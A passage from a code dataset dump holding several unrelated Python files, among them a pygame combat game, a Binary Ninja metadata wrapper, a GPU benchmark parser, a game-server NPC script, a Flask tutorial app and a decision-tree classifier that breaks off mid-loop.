0\n\t\t\t\t\telse:\n\t\t\t\t\t\tcaster.charge = 0\n\t\t\t\t\t\tenemy.health -= caster.attack * caster.attack_mod * calculate_damage_mod(self, enemy, \"armour\")\n\t\t\t\telse:\n\t\t\t\t\tprint(\"No one close enough!\")\n\n\t\telse:\n\t\t\tprint(\"Not enough charge!\")\n\n\nclass ArcaneBarrage(Special):\n\tid = 1\n\tname = \"Arcane Barrage\"\n\tdescription = \"An unstoppable barrage of pure magic is hurled at the enemy.\"\n\teffect = \"Deals 1.5x the caster's magic, and buffs all the caster's magic attacks from now.\"\n\tspeed = 50\n\tsurf = pygame.Surface((120, 120))\n\tsurf.fill((0, 183, 255))\n\n\tdef __init__(self, caster):\n\t\tif caster.charge > 20:\n\t\t\tcaster.magic_mod += 0.1\n\t\t\tcaster.charge -= 20\n\t\t\tdamage = caster.magic * 1.5 * caster.magic_mod\n\t\t\tsuper().__init__((caster.position[:]), ArcaneBarrage.speed, caster.direction[:], ArcaneBarrage.surf, damage=damage,lifetime=3)\n\t\t\tself.hit = []\n\t\t\tself.target = caster.mousepos\n\t\t\tself.direction = get_deg_direction(self.rect.center, self.target)\n\t\t\tcaster.entities.append(self)\n\t\telse:\n\t\t\tprint(\"Not enough charge!\")\n\n\n\tdef update(self, dt, enemies):\n\t\tspeed = self.speed * dt / 60\n\t\t\n\t\tself.position[0] += self.direction[0] * speed\n\t\tself.position[1] += self.direction[1] * speed\n\t\tself.rect.top = self.position[1]\n\t\tself.rect.left = self.position[0]\n\n\t\tfor e in enemies:\n\t\t\tif not (e in self.hit):\n\t\t\t\tif e.rect.colliderect(self.rect):\n\t\t\t\t\tprint(e.position, self.position)\n\t\t\t\t\tself.hit.append(e)\n\t\t\t\t\te.health -= self.damage * calculate_damage_mod(self, e, \"magic\")\n\t\t\t\t\tif e.health < 0:\n\t\t\t\t\t\te.health = 0\n\nclass Retaliate(Special):\n\tid = 2\n\tname = \"Retaliate\"\n\tdescription = \"Juggernaut throws out a massive punch in a circle that deals more damage the more he's been hurt.\"\n\teffect = \"Deals 30 damage per 10% missing caster health + caster's attack.\"\n\n\tdef __init__(self, caster):\n\t\ttenpercent = caster.max_health / 10\n\t\tnum = 0\n\t\twhile tenpercent < caster.max_health:\n\t\t\tnum += 1\n\t\t\ttenpercent += caster.max_health / 10\n\n\t\tdamage = caster.attack * caster.attack_mod + (30 * num)\n\t\tself.rect = pygame.Rect((0,0), (250, 250))\n\t\tself.rect.center = caster.rect.center\n\n\t\tif caster.charge == 100:\n\t\t\tfor i in caster.enemies:\n\t\t\t\tif i.rect.colliderect(self.rect):\n\n\t\t\t\t\tcolors = [(226,34,76), (226,88,34), (226,184,34)]\t\t\n\t\t\t\t\ta = Animation(colors, 1, (self.rect.left, self.rect.top), (self.rect.width, self.rect.height), \"special\")\n\t\t\t\t\tcaster.animations.append(a)\n\t\t\t\t\tenemy = i\n\t\t\t\t\tdamage *= calculate_damage_mod(self, enemy, \"armour\")\n\t\t\t\t\tenemy.health -= damage\n\t\t\t\t\tprint(damage)\n\t\t\t\t\tcaster.charge = 0\n\t\t\t\telse:\n\t\t\t\t\tprint(\"No one close enough!\")\n\n\t\telse:\n\t\t\tprint(\"Not enough charge!\")\n\nclass Backstab:\n\tid = 3\n\tname = \"Backstab\"\n\tdescription = \"The Assassin runs behind the enemy, dealing massive damage with their dagger.\"\n\teffect = \"Deals 3x the attackers attack, and causes the enemy to have a 50% chance to miss next attack.\"\n\n\tdef use(caster, enemy):\n\t\tdamage = caster.attack * 3\n\t\tcaster.evasion = 0.5\n\t\tenemy.health -= damage\n\nclass Fortify:\n\tid = 4\n\tname = \"Fortify\"\n\tdescription = \"The Tank braces for impact, raising their defence to unparalleled levels.\"\n\teffect = \"For the next 2 turns, resistence is 3x, enemy attacks have 10% chance to ricochet off.\"\n\n\tdef use(caster, enemy):\n\t\tcaster.armour_mod = 3\n\t\tcaster.magic_resist_mod = 3\n\t\tcaster.ricochet_chance = 0.1\n","repo_name":"EdrinBatachu/Project-L","sub_path":"specials.py","file_name":"specials.py","file_ext":"py","file_size_in_byte":5096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31300660365","text":"import ctypes\n\n# Binary Ninja components\nimport _binaryninjacore as core\nfrom enums import MetadataType\n\n\nclass Metadata(object):\n\tdef __init__(self, value=None, signed=None, raw=None, handle=None):\n\t\tif handle is not None:\n\t\t\tself.handle = handle\n\t\telif isinstance(value, int):\n\t\t\tif signed:\n\t\t\t\tself.handle = core.BNCreateMetadataSignedIntegerData(value)\n\t\t\telse:\n\t\t\t\tself.handle = core.BNCreateMetadataUnsignedIntegerData(value)\n\t\telif isinstance(value, bool):\n\t\t\tself.handle = core.BNCreateMetadataBooleanData(value)\n\t\telif isinstance(value, str):\n\t\t\tif raw:\n\t\t\t\tbuffer = (ctypes.c_ubyte * len(value)).from_buffer_copy(value)\n\t\t\t\tself.handle = core.BNCreateMetadataRawData(buffer, len(value))\n\t\t\telse:\n\t\t\t\tself.handle = core.BNCreateMetadataStringData(value)\n\t\telif isinstance(value, float):\n\t\t\tself.handle = core.BNCreateMetadataDoubleData(value)\n\t\telif isinstance(value, list):\n\t\t\tself.handle = core.BNCreateMetadataOfType(MetadataType.ArrayDataType)\n\t\t\tfor elm in value:\n\t\t\t\tmd = Metadata(elm, signed, raw)\n\t\t\t\tcore.BNMetadataArrayAppend(self.handle, md.handle)\n\t\telif isinstance(value, dict):\n\t\t\tself.handle = core.BNCreateMetadataOfType(MetadataType.KeyValueDataType)\n\t\t\tfor elm in value:\n\t\t\t\tmd = Metadata(value[elm], signed, raw)\n\t\t\t\tcore.BNMetadataSetValueForKey(self.handle, str(elm), md.handle)\n\t\telse:\n\t\t\traise ValueError(\"List doesn't not contain type of: int, bool, str, float, list, dict\")\n\n\t@property\n\tdef value(self):\n\t\tif self.is_integer:\n\t\t\treturn int(self)\n\t\telif self.is_string or self.is_raw:\n\t\t\treturn str(self)\n\t\telif self.is_float:\n\t\t\treturn float(self)\n\t\telif self.is_boolean:\n\t\t\treturn bool(self)\n\t\telif self.is_array:\n\t\t\treturn list(self)\n\t\telif self.is_dict:\n\t\t\treturn self.get_dict()\n\t\traise TypeError()\n\n\tdef get_dict(self):\n\t\tif not self.is_dict:\n\t\t\traise TypeError()\n\t\tresult = {}\n\t\tfor key in self:\n\t\t\tresult[key] = self[key]\n\t\treturn result\n\n\t@property\n\tdef type(self):\n\t\treturn MetadataType(core.BNMetadataGetType(self.handle))\n\n\t@property\n\tdef is_integer(self):\n\t\treturn self.is_signed_integer or self.is_unsigned_integer\n\n\t@property\n\tdef is_signed_integer(self):\n\t\treturn core.BNMetadataIsSignedInteger(self.handle)\n\n\t@property\n\tdef is_unsigned_integer(self):\n\t\treturn core.BNMetadataIsUnsignedInteger(self.handle)\n\n\t@property\n\tdef is_float(self):\n\t\treturn core.BNMetadataIsDouble(self.handle)\n\n\t@property\n\tdef is_boolean(self):\n\t\treturn core.BNMetadataIsBoolean(self.handle)\n\n\t@property\n\tdef is_string(self):\n\t\treturn core.BNMetadataIsString(self.handle)\n\n\t@property\n\tdef is_raw(self):\n\t\treturn core.BNMetadataIsRaw(self.handle)\n\n\t@property\n\tdef is_array(self):\n\t\treturn core.BNMetadataIsArray(self.handle)\n\n\t@property\n\tdef is_dict(self):\n\t\treturn core.BNMetadataIsKeyValueStore(self.handle)\n\n\tdef remove(self, key_or_index):\n\t\tif isinstance(key_or_index, str) and self.is_dict:\n\t\t\tcore.BNMetadataRemoveKey(self.handle, key_or_index)\n\t\telif isinstance(key_or_index, int) and self.is_array:\n\t\t\tcore.BNMetadataRemoveIndex(self.handle, key_or_index)\n\t\telse:\n\t\t\traise TypeError(\"remove only valid for dict and array objects\")\n\n\tdef __len__(self):\n\t\tif self.is_array or self.is_dict or self.is_string or self.is_raw:\n\t\t\treturn core.BNMetadataSize(self.handle)\n\t\traise Exception(\"Metadata object doesn't support len()\")\n\n\tdef __iter__(self):\n\t\tif self.is_array:\n\t\t\tfor i in xrange(core.BNMetadataSize(self.handle)):\n\t\t\t\tyield Metadata(handle=core.BNMetadataGetForIndex(self.handle, i)).value\n\t\telif self.is_dict:\n\t\t\tresult = core.BNMetadataGetValueStore(self.handle)\n\t\t\ttry:\n\t\t\t\tfor i in xrange(result.contents.size):\n\t\t\t\t\tyield result.contents.keys[i]\n\t\t\tfinally:\n\t\t\t\tcore.BNFreeMetadataValueStore(result)\n\t\telse:\n\t\t\traise Exception(\"Metadata object doesn't support iteration\")\n\n\tdef __getitem__(self, value):\n\t\tif self.is_array:\n\t\t\tif not isinstance(value, int):\n\t\t\t\traise ValueError(\"Metadata object only supports integers for indexing\")\n\t\t\tif value >= len(self):\n\t\t\t\traise IndexError(\"Index value out of range\")\n\t\t\treturn Metadata(handle=core.BNMetadataGetForIndex(self.handle, value)).value\n\t\tif self.is_dict:\n\t\t\tif not isinstance(value, str):\n\t\t\t\traise ValueError(\"Metadata object only supports strings for indexing\")\n\t\t\thandle = core.BNMetadataGetForKey(self.handle, value)\n\t\t\tif handle is None:\n\t\t\t\traise KeyError(value)\n\t\t\treturn Metadata(handle=handle).value\n\n\t\traise NotImplementedError(\"Metadata object doesn't support indexing\")\n\n\tdef __str__(self):\n\t\tif self.is_string:\n\t\t\treturn core.BNMetadataGetString(self.handle)\n\t\tif self.is_raw:\n\t\t\tlength = ctypes.c_ulonglong()\n\t\t\tlength.value = 0\n\t\t\tnative_list = core.BNMetadataGetRaw(self.handle, ctypes.byref(length))\n\t\t\tout_list = []\n\t\t\tfor i in xrange(length.value):\n\t\t\t\tout_list.append(native_list[i])\n\t\t\tcore.BNFreeMetadataRaw(native_list)\n\t\t\treturn ''.join(chr(a) for a in out_list)\n\n\t\traise ValueError(\"Metadata object not a string or raw type\")\n\n\tdef __int__(self):\n\t\tif self.is_signed_integer:\n\t\t\treturn core.BNMetadataGetSignedInteger(self.handle)\n\t\tif self.is_unsigned_integer:\n\t\t\treturn core.BNMetadataGetUnsignedInteger(self.handle)\n\n\t\traise ValueError(\"Metadata object not of integer type\")\n\n\tdef __float__(self):\n\t\tif not self.is_float:\n\t\t\traise ValueError(\"Metadata object is not float type\")\n\t\treturn core.BNMetadataGetDouble(self.handle)\n\n\tdef __nonzero__(self):\n\t\tif not self.is_boolean:\n\t\t\traise ValueError(\"Metadata object is not boolean type\")\n\t\treturn core.BNMetadataGetBoolean(self.handle)\n\n\tdef __eq__(self, other):\n\t\tif isinstance(other, int) and self.is_integer:\n\t\t\treturn int(self) == other\n\t\telif isinstance(other, str) and (self.is_string or self.is_raw):\n\t\t\treturn str(self) == other\n\t\telif isinstance(other, float) and self.is_float:\n\t\t\treturn float(self) == other\n\t\telif isinstance(other, bool) and self.is_boolean:\n\t\t\treturn bool(self) == other\n\t\telif self.is_array and ((isinstance(other, Metadata) and other.is_array) or isinstance(other, list)):\n\t\t\tif len(self) != len(other):\n\t\t\t\treturn False\n\t\t\tfor a, b in zip(self, other):\n\t\t\t\tif a != b:\n\t\t\t\t\treturn False\n\t\t\treturn True\n\t\telif self.is_dict and ((isinstance(other, Metadata) and other.is_dict) or isinstance(other, dict)):\n\t\t\tif len(self) != len(other):\n\t\t\t\treturn False\n\t\t\tfor a, b in zip(self, other):\n\t\t\t\tif a != b or self[a] != other[b]:\n\t\t\t\t\treturn False\n\t\t\treturn True\n\t\telif isinstance(other, Metadata) and self.is_integer and other.is_integer:\n\t\t\treturn int(self) == int(other)\n\t\telif isinstance(other, Metadata) and (self.is_string or self.is_raw) and (other.is_string or other.is_raw):\n\t\t\treturn str(self) == str(other)\n\t\telif isinstance(other, Metadata) and self.is_float and other.is_float:\n\t\t\treturn float(self) == float(other)\n\t\telif isinstance(other, Metadata) and self.is_boolean and other.is_boolean:\n\t\t\treturn bool(self) == bool(other)\n\t\traise NotImplementedError()\n\n\tdef __ne__(self, other):\n\t\tif isinstance(other, int) and self.is_integer:\n\t\t\treturn int(self) != other\n\t\telif isinstance(other, str) and (self.is_string or self.is_raw):\n\t\t\treturn str(self) != other\n\t\telif isinstance(other, float) and self.is_float:\n\t\t\treturn float(self) != other\n\t\telif isinstance(other, bool):\n\t\t\treturn bool(self) != other\n\t\telif self.is_array and ((isinstance(other, Metadata) and other.is_array) or isinstance(other, list)):\n\t\t\tif len(self) != len(other):\n\t\t\t\treturn True\n\t\t\tareEqual = True\n\t\t\tfor a, b in zip(self, other):\n\t\t\t\tif a != b:\n\t\t\t\t\tareEqual = False\n\t\t\treturn not areEqual\n\t\telif self.is_dict and ((isinstance(other, Metadata) and other.is_dict) or isinstance(other, dict)):\n\t\t\tif len(self) != len(other):\n\t\t\t\treturn True\n\t\t\tfor a, b in zip(self, other):\n\t\t\t\tif a != b or self[a] != other[b]:\n\t\t\t\t\treturn True\n\t\t\treturn False\n\t\telif isinstance(other, Metadata) and self.is_integer and other.is_integer:\n\t\t\treturn int(self) != int(other)\n\t\telif isinstance(other, Metadata) and (self.is_string or self.is_raw) and (other.is_string or other.is_raw):\n\t\t\treturn str(self) != str(other)\n\t\telif isinstance(other, Metadata) and self.is_float and other.is_float:\n\t\t\treturn float(self) != float(other)\n\t\telif isinstance(other, Metadata) and self.is_boolean and other.is_boolean:\n\t\t\treturn bool(self) != bool(other)\n","repo_name":"naveenselvan/Reversing-Tools","sub_path":"tools/binaryninja/python/binaryninja/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":8109,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"28577054294","text":"#!/usr/bin/env python3\n\nimport subprocess\nimport csv\nimport sys\n\nresult = subprocess.run([\"nvprof\", \"--print-gpu-trace\", \"--csv\", sys.argv[1]], stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n\n\nlines = result.stdout.split(b'\\n')\n# print(b'\\n\\n---\\n\\n'.join(lines).decode())\n\nfor i, l in enumerate(lines):\n if l.startswith(b','):\n tiramisu_exec_times = [float(num.decode()) for num in lines[i].split(b',')[1:]]\n halide_exec_times = [float(num.decode()) for num in lines[i+1].split(b',')[1:]]\n lines = lines[:i] + lines[i + 2:]\n break\n\nprint(b'\\n'.join(lines).decode())\n\nlines = result.stderr.split(b'\\n') \n\n\nfor i, line in enumerate(lines):\n if line.endswith(b'Profiling result:'):\n start_index = i + 1\n break\n\nreader = csv.DictReader(l.decode() for l in lines[start_index: -1])\nrows = [row for row in reader]\nunits = rows[0]\nrows = rows[1:]\n\nnb_tests = len(tiramisu_exec_times) + 1\n\nassert(len(rows) % nb_tests == 0)\n\ndef check_equal(rows, start1, start2, length):\n for i in range(length):\n if rows[start1 + i][\"Name\"] != rows[start2 + i][\"Name\"]:\n return False\n return True\n\nfor i in range(1, len(rows)//nb_tests):\n a_len = i\n b_len = len(rows)//nb_tests - a_len\n # heuristic check\n if (all(check_equal(rows, 0, j * a_len + b_len, a_len) for j in range(1, nb_tests)) and\n all(check_equal(rows, a_len, nb_tests * a_len + j * b_len, b_len) for j in range(1, nb_tests))):\n break\n\ndef median(exec_times, rows, start, length):\n sorted_indices = sorted(list(range(len(exec_times))), key=lambda i: exec_times[i])\n\n # print(sorted_indices)\n \n nb = len(exec_times)\n result = []\n first, second = sorted_indices[(nb - 1) // 2], sorted_indices[nb // 2]\n result.append(('Exec Time', (exec_times[first] + exec_times[second]) / 2))\n\n for (row1, row2) in zip(rows[start + length * first: start + length * (first + 1)], rows[start + length * second: start + length * (second + 1)]):\n result.append((row1['Name'], (float(row1['Duration']) + float(row2['Duration'])) / 2))\n total_copy = 0.0\n total_kernel = 0.0\n for label, number in result[1:]:\n if label.startswith('[CUDA memcpy'):\n total_copy += number\n else:\n total_kernel += number\n result.append(('Total Copy', total_copy))\n result.append(('Total Kernel', total_kernel))\n return result\n\ndef print_result(result):\n for label, number in result:\n print(\"{:40} {}\".format(label[:37], number))\n\n# print([row['Name'] for row in rows[:a_len]])\n# print([row['Name'] for row in rows[a_len: a_len + b_len]])\n\nprint('== tiramisu ==')\nprint_result(median(tiramisu_exec_times, rows, a_len + b_len, a_len))\nprint('== halide ==')\nprint_result(median(halide_exec_times, rows, nb_tests * a_len + b_len, b_len))\n\n# print(len(rows))\n# print(rows[0])\n# print(rows[-1])\n\n","repo_name":"Tiramisu-Compiler/tiramisu","sub_path":"utils/run_gpu_bench.py","file_name":"run_gpu_bench.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","stars":876,"dataset":"github-code","pt":"32"} +{"seq_id":"28284438692","text":"# Character field ID when accessed: 100000104\n# ObjectID: 1000001\n# ParentID: 1012104\n# Object Position Y: 132\n# Object Position X: -151\n#henesys hair salon - Brittany\n\n#Eye selection:\n#20044 -bright eyes (my favorite)\n#20037 - evan eyes\n#20040 - Piercing gaze\noptions = []\n\nal = chr.getAvatarData().getAvatarLook()\n# faceColour = al.getFace() % 10 # - maybe relevant to hair but in hair it's switch up the eye's you can see\nfaceColour = 0\nif al.getGender() == 0: # Male\n #options = [20000, 20001, 20002, 20003, 20004, 20005, 20006, 20007, 20044, 20045, 20046, 20047, 20048, 20049, 20050, 20051, 20052, 20053, 20054, 20055, 20056]\n options = [20044,20000, 20001, 20002, 20003, 20004, 20005, 20006, 20007, 20008, 20009, 20010, 20011, 20012, 20013, 20014, 20015, 20016, 20017, 20018, 20019, 20020, 20021, 20022, 20023, 20024, 20025, 20026, 20027, 20028, 20029, 20030, 20031, 20032, 20036, 20037, 20040, 20043, 20047, 20050, 20051, 20056]\nelse: # Female\n options = [20044] # sorry ladies, i care about the boys only\n\noptions = list(map(lambda x: x + faceColour, options))\nanswer = sm.sendAskAvatar(\"Choose your new eyes!\", False, False, options)\n\n# #hair colors change for the hair!\n# eyes_Color = []\n# for i in range(5):\n# eyes_Color.append(options[answer] + i)\n#\n# options2 = list(map(lambda x: x + 0, eyes_Color))\n# answer2 = sm.sendAskAvatar(\"Choose your new color\", False, False, options2)\n#\n# if answer2 < len(options2):\n# sm.changeCharacterLook(options2[answer2])\n\nmesos = chr.getLevel() * 20000 # Taking my lvl and multiply it by 20,000 | for example lvl200 * 20,000 = 4,000,000\n\n# ----------------------------------------------------------------------------------------------------------------------\n# getting my char meso amount (Int)-\ncharMoney = chr.getMoney()\nchrDisplay = \"\" # the amount of meso the character have\ncounter = 0 # will count 3 figures for the ','\n# I created a while that going to move through the meso the char have and every 3 num's from the lowest num it's going to add \",\" and will also check it's isn\"t the first num (highest in the num)\nwhile charMoney > 0:\n counter +=1\n chrDisplay = str(charMoney % 10) + str(chrDisplay)\n\n if counter == 3:\n if (charMoney / 10) > 0:\n chrDisplay = \",\" + str(chrDisplay)\n counter = 0\n\n charMoney = (charMoney / 10)\n\n# I created a while that going to move through the meso the char have and every 3 num's from the lowest num it's going to add \",\" and will also check it's isn\"t the first num (highest in the num)\nmonDisplay = \"\"\ncont = 0\nmesos2 = mesos\nwhile mesos2 > 0:\n cont +=1\n monDisplay = str(mesos2 % 10) + str(monDisplay)\n\n if cont == 3:\n if (mesos2 / 10) > 0:\n monDisplay = \",\" + str(monDisplay)\n cont = 0\n\n mesos2 = (mesos2 / 10)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# display the amount of meso you must pay in pretty way -\n#mesoDisplay = str(mesos/1000000) + \",000,000\"\n\nresponse = sm.sendAskYesNo(\"it's cost #r\" + monDisplay + \"#k mesos if you want to change\\r\\nYou have #b\" + str(chrDisplay) + \"#k\")\nif response:\n if sm.getMesos() > mesos:\n sm.deductMesos(mesos)\n al.setFace(options[answer])\n sm.changeCharacterLook(options[answer])\n sm.sendSayOkay(\"Enjoy the new look:D\")\n else:\n sm.sendSayOkay(\"you don't have enough meso, sorry\")\nelse:\n sm.sendSayOkay(\"you cheap Fuck!\")\n","repo_name":"doriyan13/doristory","sub_path":"scripts/npc/hair_henesys2.py","file_name":"hair_henesys2.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30064963137","text":"\"\"\"\r\n\n\n **Mubashir** has started his journey from home. Given a string of\n`directions` (N=North, W=West, S=South, E=East), he will walk for one minute\nin each direction. Determine whether a set of directions will lead him back to\nthe starting position or not.\n\n### Examples\n\n back_to_home(\"EEWE\") ➞ False\n \n back_to_home(\"NENESSWW\") ➞ True\n \n back_to_home(\"NEESSW\") ➞ False\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\ndef back_to_home(directions):\n countN = 0\n countS = 0\n countE = 0\n countW = 0\n for let in directions:\n if let == 'N':\n countN = countN + 1\n if let == 'S':\n countS = countS + 1\n if let == 'E':\n countE = countE + 1 \n if let == 'W':\n countW = countW + 1\n if countN == countS and countE == countW:\n return True\n else:\n return False\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"F3M4PhqC4JdX28Qmx_4.py","file_name":"F3M4PhqC4JdX28Qmx_4.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73429017371","text":"import sys\nimport requests\nfrom xml.etree import ElementTree\n\nimport cognitiveToken\n\ndef translate(**kwargs):\n try: #make sure we have the 'text' and 'to'\n text = kwargs[\"text\"]\n to = kwargs[\"to\"]\n except: #otherwise throw an error and exit without calling the API\n sys.stderr.write(\"Must provide 'text' and 'to' as kwargs\\n\")\n return 1\n\n url = \"https://api.microsofttranslator.com/v2/http.svc/Translate\"\n\n values = {\n \"appid\": \"Bearer \" + cognitiveToken.getToken(), #need to get a token, these expire every 10 minutes\n \"text\": text,\n \"to\": to\n }\n\n r = requests.get(url, params=values)\n output = ElementTree.fromstring(r.text.encode('utf-8')) #convert xml response to text\n \n return output.text","repo_name":"chris-geelhoed/TranslateComparison","sub_path":"microsoftTrans.py","file_name":"microsoftTrans.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"9934773249","text":"import os\nimport json\nfrom flask import Flask, render_template, request, flash\nif os.path.exists(\"env.py\"):\n import env\n\"\"\" render_template: Alternative zu direktem HTML\nhier wird das Tepmlate in HTML gerändert \"\"\"\n\"\"\" request: Request is going to handle things like finding out what method\nwe used, and it will also\ncontain our form object when we've posted it. \"\"\"\n\"\"\" flash: display some feedback to the user. wie allert\nDafür brauchen wir a secret key, because Flask cryptographically\nsigns all of the messages for security purposes.\njetzt kann Flask use the key to sign the messages. in env.py\"\"\"\n\"\"\" env wird nur importiert, wenn das system os eine env datai findet\ndadurch wird pycach kreiert > in ignore \"\"\"\n\n\napp = Flask(__name__)\napp.secret_key = os.environ.get(\"SECRET_KEY\")\n\"\"\" um den secret key aus env zu nutzen \"\"\"\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n \"\"\" die render_temp funktion ruft index.html auf.\n der file ist im ordner templates \"\"\"\n\n\n@app.route(\"/about\")\ndef about():\n data = []\n with open('data/company.json', 'r') as json_data:\n \"\"\" python soll die daten aus json importieren\n der file ist in directory \"\"\"\n data = json.load(json_data)\n \"\"\" set our empty 'data' list to equal the parsed JSON data \"\"\"\n return render_template(\"about.html\", page_title=\"About\", company=data)\n\n\n\"\"\"The angle brackets pass in data from the URL path, into view below\nwenn auf der aubut seite auf einen link geklickt wird, wird member_name\nhier eingefügt\"\"\"\n\n\n@app.route(\"/about/\")\ndef about_member(member_name):\n member = {}\n with open('data/company.json', 'r') as json_data:\n data = json.load(json_data)\n for obj in data:\n if obj['url'] == member_name:\n member = obj\n return render_template(\"member.html\", member=member)\n\n\n@app.route(\"/contact\", methods=[\"GET\", \"POST\"])\ndef contact():\n if request.method == \"POST\":\n flash(\"Thanks {}, we have received your message!\".format(\n request.form.get(\"name\")))\n \"\"\" print(request.form.get('name'))\n print(request.form['email']) \"\"\"\n \"\"\"if there isn't a 'name' or 'email' key on our\n form, instead of returning 'None', it would throw an exception.\n That's how we can access a form's data from the backend of our site.\"\"\"\n return render_template(\"contact.html\", page_title=\"Contact\")\n\n\n@app.route(\"/careers\")\ndef careers():\n return render_template(\"careers.html\", page_title=\"Careers\")\n\n\nif __name__ == \"__main__\":\n app.run(\n host=os.environ.get(\"IP\", \"0.0.0.0\"),\n port=int(os.environ.get(\"PORT\", \"5000\")),\n debug=True)\n","repo_name":"danio86/EXPLORER-THORN","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34676785215","text":"import os\nimport random\n\n# Hashes can be found here https://wiki.rage.mp/index.php?title=Peds\nwith open(os.path.normpath(\"utils/pedsToHashes.txt\"), \"r\") as file:\n pedsToHashes_ls = file.read()\n\npedsToHashes_ls = pedsToHashes_ls.split(\"\\n\")\npedsToHashes_ls = [d.split(\"=\") for d in pedsToHashes_ls]\n\npedsToHashes = {n: h.lower() for n, h in pedsToHashes_ls}\nhashesToPeds = {h.lower(): n for n, h in pedsToHashes_ls}\n\n\n# def checkValidHex(v):\n# try:\n# int(v, 16)\n# except ValueError:\n# return False\n# return True\n\n# invalid = {k:v for k,v in pedsToHashes.items() if not checkValidHex(v)}\n\n# spawnablePeds_ls = [n for n, h in pedsToHashes.items() if n[-2:] != \"_p\" and not \"*\" in h]\nspawnablePeds_ls = [k for k in pedsToHashes.keys()]\n\ndef convertHashToModelName(hash):\n if isinstance(hash, str):\n if hash[:2] != \"0x\":\n hash = \"0x\" + hash\n hash = hash.lower()\n elif isinstance(hash, int):\n hash = \"{0:#0{1}x}\".format(hash,10)\n else:\n raise ValueError(\"hash has to be given in type str or int\")\n \n try:\n modelName = hashesToPeds[hash]\n except KeyError:\n modelName = \"UNKNOWN\"\n return modelName\n\ndef convertModelNameToHash(modelName):\n return pedsToHashes[modelName][2:]\n\ndef getRandomPed():\n return random.sample(spawnablePeds_ls, 1)[0]\n\n\n\n","repo_name":"David0tt/DeepGTAV","sub_path":"VPilot/utils/PedNamesAndHashes.py","file_name":"PedNamesAndHashes.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"32"} +{"seq_id":"8546786957","text":"import pandas\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn import model_selection\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n#Tree Node\r\nclass Node:\r\n def __init__(self, predicted_class):\r\n self.predicted_class = predicted_class\r\n self.feature_index = 0\r\n self.threshold = 0\r\n self.left = None\r\n self.right = None\r\n\r\n#Model\r\nclass DecisionTree:\r\n def __init__(self, max_depth=10):\r\n self.max_depth = max_depth\r\n \r\n #Fit method makes the tree\r\n def fit(self, X, y):\r\n self.n_classes_ = len(set(y))\r\n self.n_features_ = X.shape[1]\r\n self.tree_ = self._grow_tree(X, y)\r\n \r\n #Called by the fit method, recursive function\r\n def _grow_tree(self, X, y, depth=0):\r\n num_samples_per_class = [np.sum(y == i) for i in range(self.n_classes_)]\r\n predicted_class = np.argmax(num_samples_per_class)\r\n node = Node(predicted_class=predicted_class)\r\n if depth < self.max_depth:\r\n idx, thr = self._best_split(X, y)\r\n if idx is not None:\r\n indices_left = X[:, idx] < thr\r\n X_left, y_left = X[indices_left], y[indices_left]\r\n X_right, y_right = X[~indices_left], y[~indices_left]\r\n node.feature_index = idx\r\n node.threshold = thr\r\n node.left = self._grow_tree(X_left, y_left, depth + 1)\r\n node.right = self._grow_tree(X_right, y_right, depth + 1)\r\n return node\r\n \r\n #Called by the grow tree, finds best split feature and threshold\r\n def _best_split(self, X, y):\r\n m = y.size\r\n if m <= 1:\r\n return None, None\r\n num_parent = [np.sum(y == c) for c in range(self.n_classes_)]\r\n best_gini = 1.0 - sum((n / m) ** 2 for n in num_parent)\r\n best_idx, best_thr = None, None\r\n for idx in range(self.n_features_):\r\n thresholds, classes = zip(*sorted(zip(X[:, idx], y)))\r\n num_left = [0] * self.n_classes_\r\n num_right = num_parent.copy()\r\n for i in range(1, m):\r\n c = classes[i - 1]\r\n num_left[c] += 1\r\n num_right[c] -= 1\r\n gini_left = 1.0 - sum(\r\n (num_left[x] / i) ** 2 for x in range(self.n_classes_)\r\n )\r\n gini_right = 1.0 - sum(\r\n (num_right[x] / (m - i)) ** 2 for x in range(self.n_classes_)\r\n )\r\n gini = (i * gini_left + (m - i) * gini_right) / m\r\n if thresholds[i] == thresholds[i - 1]:\r\n continue\r\n if gini < best_gini:\r\n best_gini = gini\r\n best_idx = idx\r\n best_thr = (thresholds[i] + thresholds[i - 1]) / 2\r\n return best_idx, best_thr\r\n\r\n #Predict\r\n def predict(self, X):\r\n return [self._predict(inputs) for inputs in X]\r\n \r\n #Helper for predict\r\n def _predict(self, inputs):\r\n node = self.tree_\r\n while node.left:\r\n if inputs[node.feature_index] < node.threshold:\r\n node = node.left\r\n else:\r\n node = node.right\r\n return node.predicted_class\r\n\r\nif __name__==\"__main__\":\r\n #Load iris data and split\r\n iris = pandas.read_csv(\"Data/iris.csv\") \r\n iris=iris.drop(\"species\", axis=1).to_numpy()\r\n iris_L = [0]*50+[1]*50+[2]*50\r\n X_train,X_test,y_train,y_test=model_selection.train_test_split(iris,iris_L,test_size=0.1)\r\n\r\n #Test classification model and compare it with sklearn's model\r\n d_values = list(range(1,10))\r\n accModel1= []\r\n accModel2= []\r\n\r\n for d in d_values:\r\n model1 = DecisionTree(d)\r\n model1.fit(X_train, np.array(y_train))\r\n y_pred = model1.predict(X_test)\r\n accModel1.append(round(accuracy_score(y_test,y_pred)*100,2))\r\n\r\n for d in 